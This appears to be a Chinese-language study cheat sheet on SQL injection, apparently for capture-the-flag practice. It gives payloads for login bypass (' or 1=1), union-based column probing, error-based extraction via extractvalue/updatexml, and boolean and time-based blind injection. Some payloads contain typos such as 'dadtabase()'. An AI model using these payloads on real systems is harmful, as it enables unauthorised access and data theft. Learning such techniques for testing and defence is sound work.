绕过登录
一般是绕过用户名、密码,具体方法如下:
已知源码sql语句为
select * from table where name='$name' and password='$passwaord'
则可以通过注入 'or 1=1 - - 实现绕过(原理:使where后面的条件恒真)
类型二:
使用union实现注入,例:
已知某登录验证方式为用户输入用户名、密码,通过从数据库中提取该用户名对应的密码与用户输入的密码进行比对来验证身份。
此时可使用union绕过,即在登录栏输入用户名和密码123,在url输入name=admin' union select 123
,加’的目的是让前一个查询为空,执行后一个查询,使得密码验证成功
联合注入
原理:
使用union 连接两个查询,返回两个结果的并集,要求两个查询结果的列数一样
方法:
- 先用order by测试有多少列,挨个试(假如只有3列)
- 再用select 测试哪一列会被显示(假如第2列被显示)
- 最后用 union select 1,flag,3 from flag 即可
错误注入
原理:
当mysql语法错误时会把错误显示出来,常用extractvalue()、updatexml()函数
这两个函数均为查询函数,有两个参数,第一个为要查询的目标文件;第二个为查询的路径,有严格的语法限制,必须是/xx/xx/xx,一旦出错即报错,该报错内容即为我们想要的。
例:
extractvalue(1,concat('~',(select database())) #报错内容为~db,db即为要查的内容
updatexml(1,concat('~',(select database()),'~'),1)
有时候,由于~可能被过滤,可以用其十六进制0x7e代替
布尔注入
用于一位位爆破表名或字段名
例:name=admin' or ord(substr(dadtabase(),1,1))=116
该语句即根据查询结果的布尔值判断数据库名的第一个字符对应的ASCII值是否为116,要查询第二、第三位字符,即把参数里第二个参数(第一个 1)改为2、3,依次猜
时间盲注
name=admin' or if(ord((substr(dadtabase(),1,1))=116),sleep(10),0)
若(ord((substr(dadtabase(),1,1))=116)为真,则延迟10秒,否则为假,不延迟